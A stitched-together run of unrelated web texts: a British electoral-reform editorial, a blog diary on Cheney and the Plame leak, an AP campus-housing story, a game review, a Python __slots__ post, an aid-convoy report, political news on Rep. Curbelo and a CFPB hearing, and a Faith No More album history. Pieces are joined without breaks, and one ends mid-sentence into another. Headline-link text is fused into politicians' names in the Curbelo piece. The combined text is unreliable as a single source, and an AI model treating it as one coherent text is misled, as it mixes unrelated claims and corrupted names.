Waiting for the rebirth of the two-party system would also be harmful. Although the insurgents promise voters choice, the fracturing of politics is dangerous. One reason is that they have no agenda for governing. Although the Greens, the SNP and UKIP promise an end to politics as usual, all they put forward in its place is an escape from hard decisions. None has a plausible economic plan. Nor are they likely to be forced into coming up with one by the sobering experience of a big role in government. Having seen the Lib Dems’ collapse, UKIP and the Greens have ruled out joining a coalition. The insurgents can spoil politics, but without being able to break the grip of the two big parties. They are revolutionaries without guns.
The other reason to worry is that the system’s unfairness could become destabilising. A familiar injustice is that a disproportionate share of MPs will continue to be Tory or Labour—in May their two-thirds of the vote could win 90% of the seats. But layered upon that is a second, new distortion. Because their support is thinly spread, the Green Party and UKIP could together win a quarter of the votes, but only six or seven seats out of 650 in the Commons. In contrast, the SNP, is on track to win just 4% of the vote—putting it in sixth place—yet could scoop 40 seats to become the third-largest party.
If Labour and the SNP form a coalition, policies carried by SNP votes against the wishes of a majority of the electorate will seem especially illegitimate. Imagine, for example, a reversal of welfare cuts or a promise to remove Britain’s nuclear submarines from Scottish waters. The SNP might also demand a second independence referendum as its price for coalition.
All coherence gone
The political process needs to adapt. If no party wins a majority in a general election, a few weeks should be set aside for them to thrash out a deal, as happens in much of Europe. MPs from the coalition parties should then vote on their agreement, so that backbenchers cannot argue (as some Tories now do) that they were bounced into a coalition against their will. The Fixed-Term Parliaments Act, which encourages weak governments to limp along, should go.
More fundamentally, mainstream politicians must deal with the fear and resentment that is driving voters away. Trying to outdo the insurgents on immigration and fracking is harmful and doomed to failure. Rather than ape the insurgents’ policies, mainstream parties should copy their methods by becoming looser and better able to rally ad-hoc groups to worthwhile causes such as pensions reform and house-building. Rather than look to career politicians, they could recruit and promote outsiders. Rather than peddle fantasy, they should be honest, telling voters frankly that the forces of technological change and globalisation are unstoppable and inescapable—and that years of difficult reform lie ahead.
But constitutional change will be needed, too. This newspaper has long argued for proportional representation (PR)—a version that combines first-past-the-post, to preserve a direct, singular link between MPs and their constituents (a rare aspect of British politics that is popular and works), with a top-up based on the national share of the vote. A dose of PR would not only deal with the system’s unfairness, it would also counteract the unhealthy regional polarisation of seats in which Scotland belongs to the SNP, northern England to Labour and the south to the Tories.
The battle over the details will take shape after this election, and future ones. Meanwhile Britain’s voters should strap themselves in. It is going to be a bumpy ride.Today, folks, a 28-page FBI interview summary was released to the watchdog group, Citizens for Responsibility and Ethics in Washington.
According to AP reporter Pete Yost:
Vice President Dick Cheney told the FBI he had no idea who leaked to the news media that Valerie Plame, wife of a Bush administration critic, worked for the CIA.
This is just too delicious - sorry to be stealing the story from the eeevul Huffington Post, but, hey...
In the interview whose participants included federal prosecutor Patrick Fitzgerald, Cheney told agents that he did not recall having a conversation about either Plame or her husband with Bush. The vice president said he probably discussed Wilson with Bush's top political adviser, Karl Rove, but told the FBI he would not have talked to Rove about Wilson's wife.
Oh please oh please let this be the beginning of justice being served to this horrible man!
Here's a schnib more from the article:
Cheney's denials that he talked about Plame are among the few things in the lengthy interview with the FBI that Cheney appeared certain about. He repeatedly said he could not recall key events. Among them, he said he did not recall discussing Wilson's wife with Libby before her CIA employment was publicly revealed by conservative columnist Robert Novak in mid-July 2003.
Sorry for the ill-crafted diary, but it seemed too important not to share. Cheers. Here's the link to the article:
http://www.huffingtonpost.com/...
UPDATE: a link to the story in the Washington Post (h/t Phil S 33):
http://www.washingtonpost.com/...
h/t Big Tex for the Monopoly Chance card image.
Raw Story's Muriel Kane has this take (from 10pm last night):
http://rawstory.com/...COUNCIL BLUFFS, Iowa — Iowa Western Community College will offer LGBT students a new community housing option this fall.
The college has set aside a cluster of about 40 suite-style apartments to create an optional community-style living environment for LGBT students, with a focus on transgender and intersex individuals, the Daily Nonpareil reported.
The school initially set aside 18 units for gender-inclusive housing in early April, but interest quickly grew the plans to two complete floors, according to Director of Student Life Liz Luiken.
“This community is meant for students who want to live with others who are committed to gender inclusion and equity,” a statement from Iowa Western reads. “This community is created for students who do not wish to live in a facility that aligns with a binary view (male/female) of gender identities or who may not feel comfortable in a traditionally gendered environment.”
Article continues below
About 40 students have already expressed an interest in the new Pride Q*mmunity cluster, with about 11 students already choosing the option on their housing applications, Luiken said. The housing application update went live within the last couple weeks. Luiken stresses that no student will be assigned to the cluster who doesn’t request placement.
Other schools, such as the University of Nebraska at Omaha and University of Nebraska-Lincoln, also plan to offer gender-inclusive housing options in near future.
© 2015, Associated Press, All Rights Reserved.
This material may not be published, broadcast, rewritten, or redistributed.
This Story Filed UnderLawBreakers is a new class-based competitive FPS from acclaimed game designer Cliff Bleszinski of Jazz Jackrabbit, Unreal, and Gears of War fame (ya know, some good games) and the game retails for $29.99 USD. So far so good, right?
The marketing for the game aims to make you believe that LawBreakers is a super innovative first-person shooter unlike any you’ve ever played when in reality it is like every first person shooter you’ve ever played combined into one. That isn’t a good thing, especially since the only innovative parts of the game may be the worst parts.
Upon booting the game on PS4 you’re greeted with a menu lacking anything close to a tutorial or manual, and a play button that has one option for matchmaking and one for custom games. The learning curve here is steep, and since there’s literally no information built into the game to teach you how to play a game billed as innovative, you’re forced to go into matches and learn how to play against players of all skills on the fly. That isn’t fun, and if I had to fathom a guess I would say that I’m not the only one who thinks so, since in almost every match I’ve played I’ve seen players drop out of the game mid-match.
On top of that, the default controls feel unusably slow in responsiveness. Luckily, there are deep options here to tweak dead zones, responsiveness for horizontal and vertical aiming, field of vision, and so forth. Options you typically don’t see on console shooters. That said, this adds a whole other layer of learning and tweaking to dig into to get things just how you want them. I found myself fiddling with the control settings throughout the time I spent with the game, and I’m still not sure I’ve got them set to what best suits me. Perhaps if |
Now try to define a class C that inherits from both B1 and B2, and you will get:
TypeError: Error when calling the metaclass bases
multiple bases have instance lay-out conflict
It's relatively intuitive to see why and how this conflict happens at an abstract level. Imagine that __slots__ fields are sort of like function local variables and go in an indexed array. Then class A uses the first array slot for a, and class B1 and B2 both use the second array slot for b1 and b2 respectively. When you get to C, you have a conflict; the second array slot is used twice.
It is apparently popular in certain circles to use __slots__ just to make it so that class instances can't have extra attributes added to them at runtime. The example here illustrates the problem with this; using __slots__ has effects on what you or other people can do later with the classes.
Sidebar: about those variable names
Update: I am wrong about what I wrote below, because it turns out that a little knowledge is a dangerous thing. Per the Python data model documentation on slots, a class without a __slots__ definition turns off slots entirely, so the example below isn't doing what I think it's doing. Oops.
As it turns out, you can't avoid this conflict by giving the instance variable the same name in B1 and B2. If it really is the same variable, you need to introduce a parent B class that defines it:
class B(A): __slots__ = ('b',) class B1(B): pass class B2(B): pass
Then you can define a class C that inherits from both B1 and B2.Ukraine Minister of Social Policy Lyudmila Denisova has signed an order officially recognizing the Russian convoy stuck at the border as humanitarian aid cargo of the International Committee of the Red Cross.
"In accordance with Articles 4 and 5 of the Law of Ukraine 'On Humanitarian Aid' considering the initiative of the President of Ukraine Petro Poroshenko on receiving humanitarian aid within the framework of international humanitarian missions under the auspices of the International Committee of the Red Cross (ICRC) to recognize the cargo as humanitarian aid,” the document reads.
Russian and Ukrainian officials have agreed on Sunday to proceed with the inspection of the first group of 16 Russian trucks of the humanitarian convoy, the International Committee of the Red Cross (ICRC) said.
The ICRC will be supervising the delivery of the aid and will go ahead after it receives security guarantees from the warring sides in Ukraine.
The Russian aid shipment consists of 12 types of goods weighting 1856.3 tons according to an official letter from the Red Cross received by the Ukrainian ministry on Saturday, which complies with the cargo declared by Russia.
“The recipient of humanitarian aid is the mission of the International Committee of the Red Cross in Ukraine. The cargo will be moved into Ukraine by the ICRC through the 'Donetsk' checkpoint,”Kiev cited the ICRC letter.
Kiev granted Russian cargo humanitarian aid status after the Red Cross sent a petition to Kiev to allow the Russian humanitarian aid to enter eastern Ukraine, after the Russian cargo was held at the Ukrainian border since August 14.
“There remains one, of course, major challenge: we absolutely need security guarantees from all parties concerned before we can start moving,” Red Cross official Pascal Cuttat told the media on Saturday.
No green light to Red Cross: Russian aid convoy stuck at Ukraine border waiting for Kiev’s nod
It is still unknown when the convoy will be allowed to enter Ukrainian territory as the procedures of the cargo clearing customs have reportedly not yet been completed.There has also been no word from Kiev about the security of the humanitarian mission following Friday's statement from Russia's Foreign Ministry that Kiev forces might attempt to block the agreed route and disrupt the aid delivery to Lugansk.
Aid convoy to Ukraine faces disruption, may be attacked - Russia
Russia sent 280 trucks with medical supplies, food, including baby food, sleeping bags and other basic necessities to southeastern Ukraine on Tuesday. But the cargo still has not reached the residents of the regions badly hit by the conflict as the Kiev government has procrastinated in designating Russian aid as humanitarian cargo.Rep. Carlos Curbelo (R-Fla.) says Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE is not giving his all in the battle against Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE for the presidency.
“I have no hard proof for my theory, but the relevant question is: Do people actually think that Donald Trump is trying to win?” he asked Monday on “The Fernand Amandi Show.”
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“It may be nothing, but is this the conduct of someone who’s trying to win?” Curbelo asked, as first reported by BuzzFeed. "I just don’t see it.”
Curbelo said Trump’s past ties with the Clintons cast doubt on the Republican presidential nominee’s sincerity.
“To all my passionate friends who are Trump supporters — and I understand why; there are lots of people who are angry and frustrated in this country. They really don’t like Hillary Clinton for some obvious reasons — put his recent conduct together with the fact that he’s a close friend of the Clintons. They attended his wedding; the pictures are there to prove it; Donald Trump spoke to [former President] Bill Clinton William (Bill) Jefferson ClintonInviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 Trump says he never told McCabe his wife was 'a loser' MORE three weeks before launching his campaign.”
Curbelo also said Trump had missed multiple opportunities to attack Democratic presidential nominee Hillary Clinton’s use of a private email server as secretary of State.
“Hillary Clinton told a pretty egregious lie claiming that [FBI] Director [James] Comey had kind of validated her conduct and said she acted truthfully and honestly,” he said. "A blatant lie.
“Mr. Trump had all sorts of diversions going on and wasn’t talking about that,” Curbelo added. "We’ve seen these new allegations, very serious, about special access given to people through the Clinton Foundation.
“Again, Mr. Trump was not focused on this. He instead, on that day or around that day, made his comment about the 'Second Amendment people.' Whether he meant it one way or not, it created a huge distraction.”
Curbelo added that he is puzzled by Trump’s insistence on campaigning in traditionally liberal states like Connecticut.
“What is any candidate, Republican or Democrat, who’s running for president of the United States after the primaries — they’ve already won their primaries — what is any candidate doing campaigning in Connecticut, a state that President Obama carried by 18 points last time and that no Republican has won since 1988?”
Curbelo replied “Oh, certainly” when asked if Trump should step aside for a replacement GOP presidential nominee.
Curbelo has repeatedly criticized Trump’s campaign, even refusing to rule out voting for Clinton last March.
The Democratic Congressional Campaign Committee includes Curbelo’s seat in its “Red to Blue” program targeting specific House districts it thinks the party can flip.
The Cook Political Report last week listed Curbelo’s chances of reelection as “even” and a “Republican toss-up."Elizabeth Warren
On March 16 the House Financial Institutions and Consumer Credit Subcommittee held an oversight hearing about the Consumer Financial Protection Bureau. Committee Chair Shelley Moore Capito, R.-W.Va., called it “one of the most important hearings this subcommittee will hold this Congress.” Its urgency was underscored by a Wall Street Journal editorial that appeared that same morning calling the CFPB “a bureaucratic rogue.” Members of Congress complained that the CFPB was unaccountable to the congressional appropriations process; too heavily influenced by politics; indifferent to the “safety and soundness” (i.e., solvency) of financial institutions; and an all-around bureaucratic nuisance. Sitting in the press section, I began to feel guilty that I’d never before written about this regulatory monster
Then I remembered: The CFPB hasn’t done anything yet.
I don’t mean that as a criticism of the CFPB, which was created by last year’s Dodd-Frank financial reform law. The CFPB doesn’t open for business until July 21. That isn’t some self-protective gimmick, like the way the producers of Spider Man: Turn Off The Dark keep postponing opening night even as the show continues to play before live audiences. The CFPB isn’t allowed to play before live audiences—which is to say, start regulating—until July 21, the opening night assigned it by Treasury Secretary Tim Geithner (following guidelines laid down in Dodd-Frank). That’s the “transfer date” when regulatory authority currently held by seven existing agencies is turned over to the CFPB. By then Elizabeth Warren, the consumer advocate much-loathed by the GOP who is currently setting up the CFPB in her capacity as special adviser to Geithner (she is also an assistant to the president), may have gone the way of Julie Taymor. (Here’s Warren’s opening statement.)
I also don’t mean to suggest that Warren hasn’t been working very hard. She’s been running all over the country giving speeches and meeting with bankers and consumer groups. She’s been hiring people for the agency. She’s been “laying the groundwork for the Bureau to write new rules required by the Dodd-Frank Act,” according to a Treasury document. She’s created an agency Web site.
Curiously, though, none of the House subcommittee Republicans wanted to ask her about any of that. They just wanted to yammer about how terrible the CFPB was, by which they really meant how terrible the Dodd-Frank legislation creating the CFPB was. Warren, much to her credit, refrained from uttering what struck me as the logical response: “Dude, I didn’t write Dodd-Frank.” (Though I suppose the Republicans could have answered, in turn, that its provision creating the CFPB was originally her idea. Rep. Barney Frank, D.-Mass., wasn’t present to hear criticism of his handiwork because, though former chairman and current ranking member of the House Financial Services Committee, he does not sit on this subcommittee.)
One substantive action Warren has taken in her capacity as non-director of the CFPB (the Republicans were correct to point out that President Obama would have made her director if he thought she could win Senate confirmation) was to recommend how to settle with the banks over foreclosuregate. Warren did this at Geithner’s request. Reportedly a $20 billion figure is in play. The subcommittee Republicans wanted to know what Warren had recommended. Was the $20 billion her idea? Was she trying to sell that to the banks? “We are not negotiating with anyone,” she answered. “This is a law enforcement matter that is headed by the Department of Justice.” Oh, come on, said Rep. Scott Garrett, R.-N.J. Aren’t we talking about “mere paperwork violations”? Warren: “It would not be appropriate for any member of the government, me or anyone else, to comment on what’s involved in those negotiations. It would just not be right.”
The rest of the hearing consisted mainly of House subcommittee Republicans lecturing Warren about what a vicious marauding beast Congress created in the CFPB (with the occasional Democrat chiming in to say he or she hoped Warren gets installed as CFPB director).
The biggest Republican complaint was that the CFPB doesn’t receive appropriations directly from Congress. Instead, it gets its money via “authorized transfers” from the Fed, its parent agency. That does seem a little strange. But Warren explained that four other banking agencies (the Federal Deposit Insurance Corporation, the Office of the Comptroller of the Currency, the soon-to-be-defunct Office of Thrift Supervision, and the Fed itself) are similarly funded outside the congressional appropriations process, and that this is done to preserve their independence from, well, banks.
Moreover, Warren said, the CFPB is the only federal agency that can be overruled by other agencies. That was a slight exaggeration (other agencies that are part of larger cabinet departments can sometimes be overridden by cabinet chiefs), but the CFPB will be uniquely hamstrung. The Dodd-Frank bill created a Financial Stability Oversight Council whose members represent nine agencies (Treasury, the Fed, the CFPB, the Comptroller of the Currency, the Securities and Exchange Commission, the FDIC, the Commodity Futures Trading Commission, the Federal Housing Finance Agency, and the National Credit Union Administration). The FSOC will be able to overrule any CFPB regulation it doesn’t like. Most or all of its other member agencies are, by law, required to help preserve the banks’ “safety and soundness” (again: solvency), even if the CFPB itself is not. Yes, answered Rep. Edward Royce, R.-Calif. (who last year tried and failed to insert “safety and soundness” language directly into Dodd-Frank), but there’s a “very high threshold” to override. (It takes a two-thirds majority vote.) Warren answered that the FSOC veto is “something that exists literally nowhere else in government.”
These colloquies, though pointless, were at least about real issues. Others … not so much.
Rep. Patrick McHenry, R.-N.C., pressed Warren about the fact that she was a political appointee. “Do you understand why it is controversial?” he asked. “Karl Rove had a similar position in the White House.” (McHenry is a Rove protégé.) Uh, no he didn’t.
Rep. Sean Duffy, R.-Wisc., said he was troubled that the CFPB wasn’t set up like the Federal Trade Commission or the Securities and Exchange Commission, whose power is dispersed among multiple commissioners of both political parties. Yes, that’s one model, Warren answered, but the Office of Thrift Supervision and other banking regulators “have a single director. I think when Congress made the decision, I think it was the right decision.”
Rep. Blaine Luetkemeyer, R.-Mo., tried to get Warren to name an upper limit on the possible cost of any CFPB regulation to business, and when she wouldn’t name a dollar amount he said that showed the agency was unconcerned with cost-benefit analysis. Warren answered that the agency is statutorily bound to make cost-benefit analyses of its regulations’ potential impact, and resisted any urge to point out that Luetkemeyer’s idea of cost-benefit analysis was all cost and no benefit.
Rep. Steve Pearce, R.-N.M., sounding very much like somebody’s crazy uncle, asked how the CFPB could be “the angel, be the champion of the consumer,” if it didn’t try to do anything about inflation? Warren, looking slightly dumbfounded, answered that it wasn’t the CFPB’s job to make monetary policy.
I left the hearing wishing President Obama could find some way to appoint Warren director of the CFPB. I think the subcommittee Republicans secretly wish the same. They deserve a chance to interrogate her about actions she’s actually taken. That opportunity was denied them here.The Insider
Defense secretary Ash Carter is scheduled to meet privately with Space X CEO Elon Musk on Wednesday, Pentagon Press Secretary Peter Cook confirmed today.
Cook said there was no set agenda for the meeting.
"The focus is on innovation, obviously," Cook said, noting that Carter has had meetings with a number of business executives and entrepreneurs from the technology community.
"Musk is one of the most innovative minds in this country," Cook said.
When pressed by reporters on what protections could be provided that Carter would not discuss acquisition or contract matters with Musk, whose company competes against United Launch Alliance, Cook said Carter was well aware of the rules.
"The secretary knows very well the rules and regulations required and how to keep those issues separate and apart and transparent," Cook said. "He absolutely understands those rules and abides by them. The secretary knows his responsibilities here."
Cook said it was possible he might be able to provide the press with more information about the meeting after it took place.Story Behind The Album: Faith No More
We go back into the Metal Hammer vaults to bring you the definitive story behind Faith No More's classic album, King For A Day, Fool For A Lifetime.
Billy Gould: “It’s the album I’m actually most proud of, it’s the album where I felt somebody had to clamp down on the chaos and prove ourselves and that’s what we all did. I have nothing but really proud memories of making that record.”
Roddy Bottum: “It was the most horrible time of my life. That whole time recording that album was a blur and I felt totally disconnected from the whole thing. Jesus, just don’t ask me about it. I’ve blacked it all out.”
Funny how time plays tricks, funny how the tiny little irrelevancies of yesteryear get revealed as hideous complex bags of emotion 10 years after the event. Faith No More’s ‘King For A Day, Fool For A Lifetime’ was a crushing disappointment to many when it first came out to play a decade ago. After the mind-bending sonic carnage that was ‘Angel Dust’, here was an altogether politer record. A schizophrenic record (just like every FNM album) but an album that takes its time to work its magic on you – once you get past the initial shock of the sound (and make no mistake, some of ‘King For A Day’ pisses on Linkin Park from a great height in terms of pop-metal shamelessness) and realise the depth of song writing nous involved.
Some of you might have the wrong impression of Faith No More, (an impression from ignorance that the band were never that eager to stop you wallowing in) an impression that their elevation to now legendary status hasn’t helped one little bit. So many truly terrible bands now claim Faith No More as an inspiration that it’s difficult to see their presence and persona in metal history as anything other than damaging. Crucially the whole misunderstanding about Faith No More rests on one false supposition: a supposition that listening to ‘King For A Day’ knocks clear out of the water. Namely, that they were a metal band at all.
Wrong. FNM were a pop band, a rock band, an avant-garde noise outfit, a funk crew, a synth-rock band, a hardcore band, a deeply psychedelic band. And yeah, in their most traditional moments they could be a metal band too. But by the time that ‘King For A Day…’ came around, FNM were confident enough to be none and all of the above at the same time.
Billy Gould: “It’s like this ‘Best Of’ album that came out recently. The track listing was OK, but with FNM you really can’t tell the story without hearing everything, ‘cos every album went on its own little detours that totally departed from the way we were perceived. I genuinely think that with FNM we were never just about the singles that got the most exposure. They were our public face, our albums were our private shame.”
Roddy Botum: “I haven’t even seen the tracklisting for the ‘Best Of’ album ’cos I know it’ll just piss me off! I’ll just be thinking about what got left off.”
The seeds for ‘King For A Day’ were sown during the making of Faith No More’s fourth studio album ‘Angel Dust’. Coming on the back of an internationally successful smash-album in ‘The Real Thing’, Mike Patton had more time to compose as a fully fledged member of the band (‘The Real Thing’ was recorded right after original vocalist Chuck Moseley’s messy departure). Emboldened by the critical and public reception ‘The Real Thing’ had received, Gould, Bottum and drummer Mike Bordin had more confidence in their ability to create the album they wanted to.
Billy Gould: “‘Angel Dust’ was the first album we made where we felt totally free to explore and mix what we wanted to both lyrically and musically. I suppose at that point, when a band has to deliver a follow up to a hit album is the point where a band normally desperately tries to copy what worked before. That never occurred to us at all: we wanted and album that reflected us all, reflected the strange mix of personalities and (lack of) tastes in the band. And that’s what ‘Angel Dust’ was. Only trouble was, some personalities wanted nothing to do with it.”
Bottum: “Jim Martin had always been very conventional in what he wanted to do with the band, very much a fan of guitar music only and metal specifically. During the recording of ‘Angel Dust’ it became apparent to both him and us that we were heading in very different directions.”
Mike Patton: “We weren’t having a good time together and it was pretty obvious. We saw it coming for too long, while we were making the ‘Angel Dust’ album. The whole time for two years while we were touring we kept hoping it would get better. After that much time you can’t help but feel like an idiot for feeling that way. Basically, what it came down to was that he couldn’t hold up his weight musically. When ‘The Real Thing’ broke out, it was a shock. It’s kinda like being around somebody you don’t like, like a co-worker or family, somebody you’ve known for a long time but you realise you don’t like them. You get to know them, everything’s okay, you move in with them, everything’s fine but then all of a sudden you realise what’s going on. You realise you don’t like them, so you HATE them, you know. You waste all your energy hating them, you hate them and hate them. So you kick them OUT of your house to pacify this hate.”
Gould: “Jim became totally dissatisfied with the direction that the music was going in. At first it was just kind of annoying ‘cos every idea we came up with he’d just pull a disgusted face. Then he started just not showing up at rehearsals. On a lot of that album I had to fill in guitar parts. I think the only track he had real impact on was ‘Jizzlobber’. He just wasn’t into the way FNM was going. But because he was such an established part of FNM’s look he stayed.”
Bottum: “Yeah, I remember ‘the look’ being important to some people. Never really to us though. I mean, Mike HATED Jim, wouldn’t even look at him on stage unless he was about to throw something at him. It was inevitable that he’d go.”
Gould: “After ‘The Real Thing’ came out, some of the things we were asked to do were ridiculous. The company and everyone really wanted to push Mike as this pretty boy, something about his cheekbones made dollar signs light up in the industry’s eyes. Jim had a real big image. He had a cowboy hat, a cigar and a beard. In a way we had to make a decision, because he had an image, and a lot of people associated the band with his image. You have to choose if you want to put up with this fucking shit for the style or sacrifice the image for the substance. Are you gonna be like Whitesnake and Poison or are you gonna be real? A lot of people were telling us that we were doing a lot of stupid things. We had a hard time convincing people that we knew what the fuck we were doing.”
Indeed, ‘Angel Dust’ began the total estrangement of Faith No More from their native land that ‘King For A Day’ would complete. In the summer of ’92, after the release of the album, its first single, ‘Midlife Crisis’, played regularly on MTV and radio but did fuck all in the States. It was followed by videos for the b-side ‘Easy’, which was very popular in Europe, and ‘A Small Victory’ – both accepted and loved as anthems in the UK (where the album sold more copies than anywhere else) but uncategorisably unmarketable in the US rock-market, which was then more interested in blubbery post-grunge like Pearl Jam than the art-schlock riot that FNM were providing. Meanwhile, Faith No More was part of the biggest tour of the year, opening for rock giants Metallica and Guns N’ Roses.
Billy: “That tour was a nightmare. We got real hostility from Metallica fans which we kind of expected but we at least expected GN’R fans to be kind of into something that wasn’t entirely heavy and was also about songwriting. Nope, they hated us too. As soon as Roddy would start playing his synth, that was it. It was ‘fag’ music. It put the bit in between your teeth ‘cos halfway through that tour we realised that we had to annoy these people as much as possible. It didn’t take much to make us behave appallingly and the po-faced bullshit of that tour was all the invitation we needed. It was a typical example of the way the ‘industry’ has these great ideas for you that you know are fucked up from conception. Those kids hated us man, but at every gig you could tell that there were some kids who were going to go home and buy ‘Angel Dust’. Yeah, and then form terrible bands later.”
Roddy: “There was no real connection to those 70,000 people we were playing for every night. You’re determined to get some sort of reaction out of them and the easiest way is to piss them off.”
After the tour FNM embarked on tours of the US and Europe as headliners to smaller crowds. In the end, there was no single on ‘Angel Dust’ that measured up to the success of ‘Epic’, and the album did not sell as well as ‘The Real Thing’ had in the US, but it did sell enough copies to go gold. It was even more popular in Europe and Australia, outselling ‘The Real Thing’ in Britain. But by the time the touring for ‘Angel Dust’ was complete, the rest of the band agreed that Jim Martin was holding them back with his lack of enthusiasm for the direction their music was taking. In November of ‘93 he was fired.
Roddy: “There’s always been arguments about that – Jim’s always said he quit. He didn’t. I fired him by fax. It was the only way of getting hold of him! Getting rid of him was a real cleansing exercise. There’s no point keeping someone in the band who’s only there for the money or something. Jim wasn’t committed to what the band wanted to do. I’m good at sacking band members. And by fax was such a… 90s way of doing things.”
When it came time for FNM to record a follow up to ‘Angel Dust’ tensions within the band (always simmering under the surface and threatening always to burst out) were more relaxed than they had been for years.
“We were less tantrum-oriented than before,” says Bottum. “But things for me personally were going to hell. I came out. I saw some friends die. I was with Courtney Love throughout Kurt’s final months ‘cos she was a close friend and at the same time my own father died. I just holed up and had a nervous breakdown basically. I just realised I had to chose my priorities very carefully. Things like honesty and passion and art. But whilst the album was being recorded, all of that is a real blur for me ‘cos of the shit I was going through at the time. And my heroin addiction didn’t help. And the suicide of two of my friends didn’t help. Nothing helped. Things had to reach a low before I could help myself. My first impulse was to leave. But I couldn’t just let it go, it was something I helped start, it’s very important to me.”
Gould: “What I remember most about the recording of ‘King For A Day’ was that everything was different than it had been before. In the two years before we’d done a lot of growing up but we were… we weren’t exactly in a coherent mental state when we made that album – we were all fucked up in some way. And the studio was out in the middle of a fucking forest. It was on this dirt road with nothing but the studio and the cabin for two miles. It was like sensory deprivation. But the good thing about it was we had nothing else to do but record. We actually tried to stay in the studio as much as we could, because if we left the studio there was nothing to do. Except get in car crashes and blow up car tires. The album was recorded in three months. We were in Woodstock recording it, and there was absolutely nothing else to do, so time kind of dragged. We liked to be self-reliant, we arrange our own songs and like to be prepared. We didn’t want to spend tons of money in the studio “creating”. It took eight or nine months to get the songs ready, but four months of that time was spent trying to find a new guitar player and trying to work things out with the old one.”.
Bottum: “And we used a new producer to get a new set of ears. Andy Wallace [no relation to previous FNM desk jockey Matt Wallace] had worked with Slayer, Sonic Youth, and Nirvana, and we knew what we wanted from him – a simpler, more acoustic, more punctuated sound than we’d had in the past. That in combination with a new guitarist kind of gave things a real up-in-the-air, what the fuck is gonna happen kind of feel. And it was the album that decided whether FNM would continue.”
It was new producer Andy Wallace who insisted on the band deserting San Francisco for the remote Bearsville Studios in upstate New York. 20 songs were recorded, 14 made the album. New guitarist Trey Spruance immediately got sucked into the cabin fever.
Gould: “We had an initiation ceremony for him into the band. We have this ring, like a ‘circle of protection.’ On a full moon we made him strip down naked, and we had this circle of candles. This is serious. It happened to Trey. They were crazy times.”
“To me there was more frivolous stuff on ‘Angel Dust’,” said drummer Mike Bordin to Metal Hammer at the time. “By the time of ‘King For A Day’ we’d had some difficult times, and we knew that if and when we did it, this was gonna be the record of our lives. It had that all-or-nothing feel to us. Instead of putting everything into every song, we wanted to take things out and make them a bit simpler. Perhaps that’s what you’d call a ‘pop’ or lighter feel. All the loud songs turned out really great on this album, really aggressive, and we’ve always done that really well. But the smoother songs I’ve never felt we’ve gotten exactly right. And this one is pretty damn close to being exactly right. It’s like when a certain member has an idea, and he’s a little embarrassed over it, you know there’s gotta be something good about it, it’s gotta be worth doing. We’re just not the kind of band to say ‘never’. I would say we wouldn’t ever do something, because we’d do it just to fuck each other up.”
Billy Gould: “We were just bums who play music. We definitely didn’t subscribe to the American ‘Keep repeating the same fucking thing and you’ll sell millions of records’ ethic which seems to be the way things work. People thought we we’re weird because of that; we’re weird because we try to make things interesting to ourselves. We don’t screw groupies or take ecstasy. Take ‘Velvet Hammer’ for instance. We’d never done anything like that before. The same with ‘Take this Bottle’. It’s so fucking simple that it sounds like a folk/cowboy song. ‘Star AD’ has that Las Vegas feel that’s so beautiful to get into. It’s cool to do something like that and hear all the other shit bounce around it.”
“This time we actually followed our impulses,” said Patton in Hammer. So we did what was in our heads. I don’t know if we should’ve done it, but at least we did it. I think this is a pop record.”
Indeed, what you can hear on ‘King For A Day’ is Faith No More’s demented aesthetic of self-challenge and utter taste-detonating shamelessness reach its crowning apex. It’s an album quite unlike any other in the rock canon because so much of it doesn’t rock, so much of it insanely contradicts so much else of it yet throughout. The fearless personality of the band emerges triumphant - always fucking with your expectations, always two steps ahead of anything you might predict. It’s a perverse record utterly in love with it’s own purity. Musically it dived into mellow pop, jazz, C&W, and pure skronk art-terror. And lyrically it’s a scattered, startled masterpiece, perfectly reflecting the dazed and confused mindset of the band and the jaundiced take on celebrity that the previous two years had festered in their souls. Opening line on first track ‘Get Out’? “What if there’s no more fun to have?” – absolutely perfect.
If King; is angry in any way, it’s angry in a random, chaotic, healthy way. Like the guy who goes into a building, shoots a bunch of holes in the wall and then leaves. He didn’t kill anybody” said Patton at the time. ‘Star AD’ (“And dying is dry like a fact of history/And when you die, you’ll become something worse than dead/ You’ll become a legend”), ‘Cuckoo For Caca’ (“Shit lives forever/We’ll retire with a turd on our lips”) and the title track (“This is the best party I’ve ever been to/don’t let me die with that silky look in my eyes”) all spat violently engulfing misanthropy at a music world that was seemingly drowning Patton in disgust, his voice finding a range and reach and tenderness AND brutality it had never got close to before. For a time it seemed that FNM were the last true soul band on earth. But underneath the gorgeous sounds and shimmering pop textures at the album’s heart, clearly the band’s vision and soul were on a one-way road to hell. Anhlst the music could be seen as a desperate attempt at transcendence, the lyrics told you exactly how deep the shit the band were in at the time really was, exactly how at odds they were with the music industry ’cos they had more than two braincells.
Patton: “It was tough with a lot of unknowns, a lot of problems in the band, a lot of insecurity and wondering if we were going to make this record. We weren’t a band for a while. Of course we wanted to continue, but there are other circumstances that play a part. We’re felt like we were getting old. You can only put up a facade for so long. You get a new guy after new guy, and it’s like, how many facelifts can you get? We’re not going to have guys drop off and get new ones, and then have Faith No More reunite. Fuck that.”
“The album was a catharsis for us,” Billy explains. “We made a record that was very liberating. I think we really learned how to use our power as a unit. I mean, I have a total submarine view of it, but I see it as more of a release type thing. There was a great amount of stress being let off in this album.”
Bordin: “We felt that ‘AD’ was something to be proud of and we felt that we had more to say. There were a few dark days there, but it sort of puts you in an extra gear that you didn’t even know you had. You feel you’re doing it for all the marbles. It changed our focus and I don’t mean to say we weren’t serious before, but when there’s that danger, you really kick it up a notch. Replacing a guitar player, we knew we had something to prove but we knew we could do it. Working with a new producer, moving up to Woodstock for three months, all those things conspired to give us a tremendously sharp focus and I can smell it on that record, where there’s not a lot of waste. There’s not a lot of extra layers of anything, and that’s what we wanted, for it to be quite lean and nasty.”
Unsurprisingly, it being a great record, ‘King For A Day’ picked up almost universally unfavourable reviews on its release, especially from an American press apparently appalled that their favourite rock darlings had gone and made the record they wanted to make rather than the album the critics wanted.
